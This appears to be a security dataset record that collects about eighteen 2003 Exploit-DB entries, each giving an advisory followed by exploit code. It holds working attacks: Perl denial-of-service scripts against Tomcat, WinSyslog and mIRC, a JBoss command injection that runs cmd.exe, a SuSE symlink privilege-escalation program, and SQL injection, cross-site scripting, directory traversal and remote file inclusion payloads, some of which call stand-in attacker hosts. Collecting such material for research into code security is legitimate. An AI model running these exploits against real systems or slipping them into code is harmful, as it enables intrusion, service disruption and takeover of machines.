QLWD/code_shield huggingface dataset:
标题: Sun Java Plugin 1.4.2 _01 - Cross-Site Applet Sandbox Security Model Violation EDB-ID: 23265 CVE: 2003-1516 类型: REMOTE 平台: WINDOWS 发布日期: 2003-10-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/8857/info

A vulnerability has been reported in Java implementations that may potentially allow Java applets from two different domains to violate the sandbox security model and share read/write access to data areas. This violates the principle of isolation that should be enforced by Java and it is possible for unsigned applets to gain unauthorized access to data used by signed applets.

This issue was reported for Java Plug-in 1.4.2_01 on Microsoft Windows platforms, though it is believed that other platforms are similarly affected. It is not known if other versions or Java implementations are also affected.

Two applets,
- one on siteA: www.siteA.org => Read.html / ReadApplet.class
- one on siteB: www.siteB.org => Write.html / WriteApplet.class

Applet from siteB can share a variable also accessible (read and write)
which is used by siteA. So data protection is not guaranteed, an unsigned
applet may grab data stored in this variable by a signed applet
or interfere it's XML processing and therefore violates the isolation
restriction of the sandbox.

==========READAPPLET=========================
/* Illegalaccess.org java exploit */
/* coded by Marc Schoenefeld */

import java.awt.Graphics;

public class ReadApplet extends java.applet.Applet {

public void paint(Graphics g)
{

System.out.println(org.apache.xalan.processor.XSLProcessorVersion.S_VERSION);
}

static {

System.out.println(org.apache.xalan.processor.XSLProcessorVersion.S_VERSION);
}
}
==========READAPPLET=========================

==========WRITEAPPLET=========================
import java.awt.Graphics;


public class WriteApplet extends java.applet.Applet {
public void paint(Graphics g)
{
org.apache.xalan.processor.XSLProcessorVersion.S_VERSION += "a";
}


static {
org.apache.xalan.processor.XSLProcessorVersion.S_VERSION = "altered
from
SiteA";
}
}
==========WRITEAPPLET=========================


=========Write.html============================
<HTML>
<BODY BGCOLOR=#66FF66>
<PRE>
WriteApplet, write to variable
Marc (marc@org.illegalaccess)
</PRE>
<applet codebase=. code=WriteApplet.class width=100 height=100>
</applet>
</BODY>
</HTML>

========Read.html=============================
<HTML>
<BODY BGCOLOR=#6666FF>
<PRE>
ReadApplet, read from variable
Marc (marc@org.illegalaccess)
</PRE>
<applet codebase=. code=ReadApplet.class width=100 height=100>
</applet>
</BODY>
</HTML> URL: https://www.exploit-db.com/exploits/23265
标题: Bytehoard 0.7 - File Disclosure EDB-ID: 23261 CVE: 2003-1499 类型: WEBAPPS 平台: PHP 发布日期: 2003-10-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/8850/info

Bytehoard is prone to directory traversal attacks. This could potentially permit remote attackers to gain unauthorized access to sensitive files hosted on the system running the software.

http://www.example.com/bytehoard/index.php?infolder=../../../../ URL: https://www.exploit-db.com/exploits/23261
标题: Opera 7.11/7.20 HREF - Malformed Server Name Heap Corruption EDB-ID: 23263 CVE: 2003-0870 类型: DOS 平台: MULTIPLE 发布日期: 2003-10-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/8853/info

A vulnerability has been discovered in the Opera web browser that could lead to remote code execution. The problem is said to trigger when handling malformed HTML HREF values and may result in a buffer overrun occuring within heap memory. As a result of this issue, an attacker may be capable of executing arbitrary code on a victim user by coaxing them to a malicious web site, or possibly by transmitting a malicious HTML e-mail message to an Opera mail client. 

<a href="file://server%%[many % characters]%%text" ></a> URL: https://www.exploit-db.com/exploits/23263
标题: Caucho Resin 2.0/2.1 - Multiple HTML Injection / Cross-Site Scripting Vulnerabilities EDB-ID: 23262 CVE: 2003-1513 类型: WEBAPPS 平台: JSP 发布日期: 2003-10-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/8852/info

It has been reported that Caucho Resin is prone to multiple HTML Injection and cross-site scripting vulnerabilities in various scripts that may allow a remote attacker to cause hostile HTML or script code to be rendered in the browser of a user who follows a malicious link supplied by the attacker.

The affected scripts include env.jsp, form.jsp, session.jsp, and tictactoe.jsp. The 'name' and 'comment' fields of guestbook.jsp have been reported to be vulnerable to HTML injection. An attacker may exploit this vulnerability to execute arbitrary HTML and script code in the browser of an unsuspecting user. Exploitation may also allow attackers to inject hostile HTML and script code into the sample guestbook.

Successful exploitation of these issues may allow an attacker to steal cookie-based credentials. Other attacks may also be possible.

Caucho Resin version 2.1 and prior have been reported to be prone to this issue, however other versions may be affected as well.

http://www.example.com:8080/examples/tictactoe/tictactoe.jsp?move=<iframe%20src="http://attcker/evil.cgi"></iframe>4
or
<SCRIPT>alert(document.domain);</SCRIPT><SCRIPT>alert(document.cookie);</SCR URL: https://www.exploit-db.com/exploits/23262
标题: DeskPro 1.1 - Multiple SQL Injections EDB-ID: 23264 CVE: 1999-0819 类型: WEBAPPS 平台: PHP 发布日期: 2003-10-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/8856/info

It has been reported that DeskPro is prone to multiple SQL injection vulnerabilities due to insufficient sanitization of user-supplied input. The problem is reported to be present in various parameters such as cat, article, and ticketid of the faq.php and view.php modules. This issue may allow a remote attacker to influence SQL query logic in order to compromise the DeskPro application or view/modify sensitive information. The consequences of exploitation may vary depending on the underlying database implementation.

DeskPro version 1.1.0 and prior have been reported to be prone to this issue, however other versions may also be affected. 

http://www.example.com/deskpro_v1/faq.php?cat=45'
http://www.example.com/deskpro_v1/faq.php?article=105'
http://www.example.com/deskpro_v1/view.php?ticketid=1'&ticket_pass= URL: https://www.exploit-db.com/exploits/23264
标题: Apache Tomcat 4.0.x - Non-HTTP Request Denial of Service EDB-ID: 23245 CVE: 2003-0866 类型: DOS 平台: LINUX 发布日期: 2003-10-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/8824/info

Apache Tomcat 4 has been reported prone to a remotely triggered denial-of-service vulnerability when handling undisclosed non-HTTP request types.

When certain non-HTTP request types are handled by the Tomcat HTTP connector, the Tomcat server will reject subsequent requests on the affected port until the service is restarted. 

#!/usr/bin/perl
#
# PoC - DoS Exploit for Apache Tomcat 4
# by Oliver Karow - oliver.karowNOSPAM__AT__gmx.de
# http://www.oliverkarow.de/research/tomcat_crash.txt
#
# Run this script against the Tomcat Admin Port. After execution, the page will not be accessible any more.
# The port is still open and accepting connections, but not responding with content. To verify, connect with your browser
# to the port.
#

use IO::Socket;

$ip="192.168.0.16";
$port="8080";
$counter =0;


@attackpattern=("'");
for ($x=0;$x<=400;$x++){
  $headerLine="GET /dummy/dontexist.pl? HTTP/1.0\n\n";
  @temp=split(/(\/)/,$headerLine);
  foreach (@temp){
     $replaceme=$_;
       foreach(@attackpattern){
    $attack=$_;
    $newheaderline=$headerLine;
      $newheaderline=~ s/$replaceme/$attack/i;
      $remote=IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$ip, PeerPort=>$port, Timeout=>5) or die "Connection not possible\n";
    print $remote $newheaderline;
    print "\nRequest: ".$counter++." \t".$newheaderline."\n";
       $remote->close;
  }
  }
} URL: https://www.exploit-db.com/exploits/23245
标题: WrenSoft Zoom Search Engine 2.0 Build: 1018 - Cross-Site Scripting EDB-ID: 23244 CVE: 2003-1498 类型: WEBAPPS 平台: PHP 发布日期: 2003-10-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/8823/info

WrenSoft Zoom Search Engine is prone to a cross-site scripting issue in the software's search module. A remote attacker may be able to execute HTML or script code in a user's browser.

The problem occurs because the software fails to properly sanitize user-supplied input. An attacker may be able to a construct a malicious link containing HTML or script code that may be rendered in a user's browser upon visiting that link. This attack would occur in the security context of the vulnerable site.

http://www.example.com/search.php?zoom_query=<script>alert("hello")</script><script>alert("hello")</script> URL: https://www.exploit-db.com/exploits/23244
标题: Bajie HTTP Server 0.95 - Example Scripts and Servlets Cross-Site Scripting EDB-ID: 23257 CVE: 2003-1511 类型: REMOTE 平台: MULTIPLE 发布日期: 2003-10-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/8841/info

Demonstration scripts and servlets that are distributed as part of Bajie HTTP Server have been reported prone to multiple cross-site scripting vulnerabilities.

It has been reported that a remote attacker may construct a malicious link containing script and HTML code to any one of the vulnerable demonstration scripts or servlets on the affected server. If this link is followed the code contained therein will be rendered in the browser of the user who followed the link.

http://www.example.com/cgi/bin/test.txt?<script>alert(document.cookie)</script>
POST /servlet/custMsg?guestName=<script>alert("bang")</script> HTTP/1.0
POST /servlet/CookieExample?cookiename=<script>alert("bang")</script>&cookievalue=&cookiepath=
HTTP/1.0 URL: https://www.exploit-db.com/exploits/23257
标题: Microsoft ListBox/ComboBox Control - 'User32.dll' Buffer Overrun EDB-ID: 23255 CVE: 2003-0659 类型: LOCAL 平台: WINDOWS 发布日期: 2003-10-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/8827/info

Microsoft has reported the existence of a local buffer overrun vulnerability in an undisclosed User32.dll library function. This function is used by applications implementing the use of ListBox or ComboBox controls and will be triggered when the program encounters specific types of Windows messages.

This issue poses a security risk when a privileged application is running in the environment of an unprivileged user. Due to the ability for a program to transmit a windows message to another process, an attacker may be capable of exploiting this buffer overrun to gain privileged access to a system.

// vuln.cpp : Defines the entry point for the application.
//


#include "stdafx.h"
#include <windows.h>


LRESULT CALLBACK WndProc(HWND hwnd , UINT msg , WPARAM wp , LPARAM lp) {
 static HWND list;
 static HWND rich;

 switch (msg) {
 case WM_DESTROY:
  PostQuitMessage(0);
  return 0;
 case WM_CREATE:
  list = CreateWindow(
   TEXT("LISTBOX") , NULL , 
   WS_CHILD | WS_VISIBLE | LBS_STANDARD , 
   0 , 0 , 300 , 300 , hwnd , (HMENU)1 ,
   ((LPCREATESTRUCT)(lp))->hInstance , NULL
  );
  rich = CreateWindow("EDIT",      // predefined class 
                                    NULL,        // no window title 
                                    WS_CHILD | WS_VISIBLE | WS_VSCROLL | 
                                    ES_LEFT | ES_MULTILINE | ES_AUTOVSCROLL, 
                                    300, 300, 100, 100,  // set size in WM_SIZE message 
                                    hwnd,        // parent window 
                                    (HMENU) 1,   // edit control ID 
                                    (HINSTANCE) GetWindowLong(hwnd, GWL_HINSTANCE), 
                                    NULL);  
  return 0;
 }
 return DefWindowProc(hwnd , msg , wp , lp);
}

int WINAPI WinMain(HINSTANCE hInstance , HINSTANCE hPrevInstance ,
   PSTR lpCmdLine , int nCmdShow ) {
 HWND hwnd;
 MSG msg;
 WNDCLASS winc;


 winc.style  = CS_HREDRAW | CS_VREDRAW;
 winc.lpfnWndProc = WndProc;
 winc.cbClsExtra = winc.cbWndExtra = 0;
 winc.hInstance  = hInstance;
 winc.hIcon  = LoadIcon(NULL , IDI_APPLICATION);
 winc.hCursor  = LoadCursor(NULL , IDC_ARROW);
 winc.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
 winc.lpszMenuName = NULL;
 winc.lpszClassName = TEXT("KITTY");

 if (!RegisterClass(&winc)) return -1;

 hwnd = CreateWindow(
   TEXT("KITTY") , TEXT("Kitty on your lap") ,
   WS_OVERLAPPEDWINDOW | WS_VISIBLE ,
   CW_USEDEFAULT , CW_USEDEFAULT ,
   CW_USEDEFAULT , CW_USEDEFAULT ,
   NULL , NULL , hInstance , NULL
 );

 if (hwnd == NULL) return -1;

 while(GetMessage(&msg , NULL , 0 , 0)) {
  TranslateMessage(&msg);
  DispatchMessage(&msg);
 }
 return msg.wParam;
} URL: https://www.exploit-db.com/exploits/23255
标题: WinSyslog Interactive Syslog Server 4.21 - long Message Remote Denial of Service EDB-ID: 23242 CVE: 2003-1518 类型: DOS 平台: WINDOWS 发布日期: 2003-10-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/8821/info

WinSyslog is prone to a remotely exploitable denial of service vulnerability. The issue exists in the Interactive Syslog Server specifically. This occurs when the program receives multiple excessive syslog messages via the port it listens on (10514/UDP by default). This is also reported to cause system instability, which is likely due to resource exhaustion.

The issue does not affect the WinSyslog or MonitorWare agent services. This issue affects versions of WinSyslog prior to 2003-09-15. The vendor has released hot fixes for the MonitorWare Agent product, which also includes the vulnerable component. 

#!/usr/bin/perl
#WinSyslog System Freeze Vulnerability

use IO::Socket;
$host = "192.168.1.44";
$port = "10514";
$data = "A";

$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:
$@\n";
$ipaddr = inet_aton($host) || $host;
$portaddr = sockaddr_in($port, $ipaddr);

for ($count = 0; $count < 1000; $count ++)
{
$buf = "";
$buf .= "A"x((600+$count)*4);

print "Length: ", length($buf), "\n";
send($socket, $buf, 0, $portaddr);
print "sent\n";
}

print "Done\n"; URL: https://www.exploit-db.com/exploits/23242
标题: mIRC 6.1 - 'DCC SEND' Buffer Overflow (1) EDB-ID: 23240 CVE: 2003-1512 类型: DOS 平台: WINDOWS 发布日期: 2003-10-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/8818/info

A vulnerability has been reported to exist in the mIRC client that may allow a remote attacker to crash a vulnerable mIRC client. The condition is most likely present due to insufficient boundary checking performed on 'DCC SEND' requests.

It has been reported that when received, a malicious 'DDC SEND' request can trigger a fatal error and cause an affected mIRC client to crash. 

#!/usr/bin/perl -w
use IO::Socket;
# get irc server to connect to, and nick to exploit.
print "Enter Serv: "; chomp($serv=<STDIN>);
print "Enter Nick: "; chomp($nick=<STDIN>);

#setup connection
$ocket = IO::Socket::INET->new(
                        PeerAddr=>"$serv",
   PeerPort=>'6667'
   ) || die "could not connect to $serv: $!";

#$| = 1;
#$ocket->autoflush();
$line="";
until($line =~ /Ident/){
 $oldline=$line;
 $line = <$ocket>;
 if($oldline ne $line) {print $line;}
}

print $ocket "user ident irc name ircname\n";  #send ident/ircname info

$line="";
until($line =~/PING/){
 $oldline=$line;
 $line = <$ocket>;
 if ($oldline ne $line) {print $line;}
}


$line =~ s/.*://;
print $ocket "PONG :$line\n";
print $ocket "nick thssmnck\n";
print $ocket "privmsg $nick :DCC SEND \"a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a \" 1079095848 666\n"; URL: https://www.exploit-db.com/exploits/23240
标题: Gallery 1.4 - 'index.php' Remote File Inclusion EDB-ID: 23238 CVE: 2003-1227 类型: WEBAPPS 平台: PHP 发布日期: 2003-10-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/8814/info

It has been reported that Gallery is prone to a remote file include vulnerability in the index.php script file. The problem occurs due to the program failing to verify the location in which it includes the util.php script, when handling specific requests to index.php. As a result, an attacker may be capable of having arbitrary PHP script code being executed on the remote host with the privileges of the web server. 

http://www.example.org/path_to_gallery/setup/index.php?GALLERY_BASEDIR=http://www.attacker.com/ URL: https://www.exploit-db.com/exploits/23238
标题: HP-UX 11 CDE DTPrintInfo - Display Environment Variable Buffer Overflow EDB-ID: 23236 CVE: 2003-0840 类型: DOS 平台: HP-UX 发布日期: 2003-10-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/8795/info

It has been reported that dtprintinfo, installed setuid root by default, is susceptible to a locally exploitable buffer overflow vulnerability. The condition is triggered when the value of the DISPLAY environment variable is set to a string exceeding 9777 bytes in length. The vulnerability may allow for local attackers to gain root privileges on the affected host. 

export DISPLAY="`perl -e 'printf "A" x 9777'`" URL: https://www.exploit-db.com/exploits/23236
标题: JBoss 3.0.8/3.2.1 - HSQLDB Remote Command Injection EDB-ID: 23221 CVE: 2003-0845 类型: REMOTE 平台: MULTIPLE 发布日期: 2003-10-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/8773/info

A remote command-injection vulnerability has been reported in JBoss. The issue is reportedly exposed via the HSQLDB component, which is a SQL database server that manages JMS connections. Because of a number of flaws, an attacker can pass commands to the HSQLDB component via the port it listens on. Note that the port may vary between versions; by default it is 1701/TCP for JBoss 3.2.1 and 1476/TCP for 3.0.8.

Attackers can exploit this issue to mount a number of attacks, including execution of database commands, denial-of-service attacks, log manipulation, information disclosure, and execution of operating system commands on some supported platforms.

This issue is reported to exist with JBoss 3.2.1/3.0.8 on any Java 1.4.x-enabled platforms. Other versions may also be affected. 

<target name="cmdinject">
<sql
classpath="hsqldb.jar"
driver="org.hsqldb.jdbcDriver"
url="jdbc:hsqldb:hsql://${host}:${port}"
userid="sa"
password=""
print = "true"
>
CREATE ALIAS COMPDEBUG FOR
"org.apache.xml.utils.synthetic.JavaUtils.setDebug"
CREATE ALIAS SETPROP FOR "java.lang.System.setProperty";
CREATE ALIAS COMPILE FOR
"org.apache.xml.utils.synthetic.JavaUtils.JDKcompile";

CALL COMPDEBUG(true);
CALL SETPROP('org.apache.xml.utils.synthetic.javac','cmd.exe');
CALL COMPILE('/c REGEDIT.EXE','');
</sql>
</target> URL: https://www.exploit-db.com/exploits/23221
标题: EternalMart Mailing List Manager 1.32 - Remote File Inclusion EDB-ID: 23218 CVE: 2003-1313 类型: WEBAPPS 平台: PHP 发布日期: 2003-10-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/8767/info

EternalMart Mailing List Manager and Guestbook are prone to remote file-include vulnerabilities. Remote attackers may cause malicious PHP code to run on the webserver. 

http://[target]/admin/auth.php?emml_admin_path=http://[attacker] will
include the file :
http://[attacker]/auth_func.php

http://[target]/emml_email_func.php?emml_path=http://[attacker] will
include the file :
http://[attacker]/class.html.mime.mail.php URL: https://www.exploit-db.com/exploits/23218
标题: SuSE Linux Professional 8.2 - SuSEWM Configuration File Insecure Temporary File EDB-ID: 23223 CVE: 2003-0847 类型: LOCAL 平台: LINUX 发布日期: 2003-10-06 漏洞利用脚本: // source: https://www.securityfocus.com/bid/8778/info

A problem exists in the SuSEWM configuration file used by SuSEConfig. Because of this, it may be possible for a local attacker to gain elevated privileges.

/*
 * Proof of Concept for SuSEconfig.vmware Symbolic Link. 
 * Tested on SuSE 8.2.
 * Nash Leon  - nashleon@yahoo.com.br
 *
 * Reference: 
 * http://www.security.nnov.ru/search/document.asp?docid=5216
 *
 * We Need Yast2 for elevation privilege(or wait root run then).
 * 
 * This sample create file /root/.bashrc in Suse 8.2. 
 * If you use this with kdeglobals vulnerability, you can install trojan 
 * horse in bashrc(local root is possible). Denial of Service too,
 * if you define target file /etc/passwd or other.
 *
 *
 * Thanks for Mercenaries's Club
 * http://cdm.frontthescene.com.br
 *
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

#define  ERROR   -1
#define  TARGET  "/root/.bashrc" /* Change this for other attack */

int main(int argc, char *argv[]){
int i, first, last;
char buffer[60];


fprintf(stdout,"Proof of Concept for Symbolic Link in SuSEconfig.vmware - Suse 8.2\n");
fprintf(stdout,"Mercenaries's Club - http://cdm.frontthescene.com.br\n");


/* We don't need to get Current PID. Suse 8.2 is very poor em security
 * against symbolic link attacks.
 * There is not protect for creation of symbolic links in
 * /tmp. We can create 65535 files with symbolic link
 * if We wanted(this is 100% accurate).
 */

//first = getpid();


first = 0;

/* We don't need to get possible PID for Yast2 sw_single run
 * SuSE.vmware because SuSE 8.2 don't limit creation of 
 * symbolic links.
 */

last = 65535;

for(i = first; i < last + 1; i++){
bzero(buffer,50);
snprintf(buffer,59,"ln -s %s /tmp/susewm.%d",TARGET,i); // Are you hacker?:)
system(buffer);
 }



/* Run Yast2, note this need X-Window and permission.
 * This code is not for script kiddies.
 * Other attacks are possible.
 *
 * In Yast2, you will try uninstall some program.
 * When Yast2 run update tool, it will run SuSEconfig.vmware
 * as root and the specified file will be overwrite.
 */

system("/sbin/yast2 'sw_single'");

return 0;
} URL: https://www.exploit-db.com/exploits/23223
标题: Cisco LEAP - Password Disclosure EDB-ID: 23212 CVE: 2003-1096 类型: REMOTE 平台: HARDWARE 发布日期: 2003-10-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/8755/info

It has been reported that Cisco LEAP (Lightweight Extensible
Authentication Protocol) is prone to a password disclosure weakness that may allow a remote user to steal user passwords. The issue may be exploited out by brute forcing user passwords using dictionary attacks.

Successful exploitation of this weakness may allow a remote attacker to steal authentication information, potentially allowing for unauthorized network access. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23212.tar.bz2 URL: https://www.exploit-db.com/exploits/23212
标题: MPlayer 0.9/1.0 - Streaming ASX Header Parsing Buffer Overrun EDB-ID: 23186 CVE: 2003-0835 类型: REMOTE 平台: LINUX 发布日期: 2003-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/8702/info

A vulnerability has been discovered in MPLayer when handling malformed streaming ASX file headers. The problem occurs due to insufficient bounds checking performed within asf_http_request(). It has been demonstrated that it is possible for a remote attacker to provide a malicious streaming ASX file that will overrun the bounds of a reserved buffer, when a vulnerable version of MPlayer is used to interpret the file. Remote arbitrary code execution has been confirmed possible.

 <asx version = "3.0">
 <title>Bas Site ASX</title>

 <moreinfo href = "mailto:info@badsite.com
 <mailto:info@badsite.com> " />
 <logo href = "http://www.badsite.com/streaming/grupo.gif
 <http://www.badsite.com/streaming/grupo.gif> " style="ICON" />
 <banner href= "images/bannermitre.gif">
 <abstract>Bad Site live</abstract>
 <moreinfo target="_blank" href = "http://www.badsite.com/
 <http://www.badsite.com/> " />
 </banner>

 <entry>
 <title>NEWS</title>
 <AUTHOR>NEWS</AUTHOR>
 <COPYRIGHT>� All by the news</COPYRIGHT>
 <ref href =
"http_proxy://badsite:badport/http://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaa"/>
 <logo href = "http://www.badsite.com/streaming/grupo.gif
 <http://badsite.com/streaming/grupo.gif> " style="ICON" />
 </entry>
 </asx> URL: https://www.exploit-db.com/exploits/23186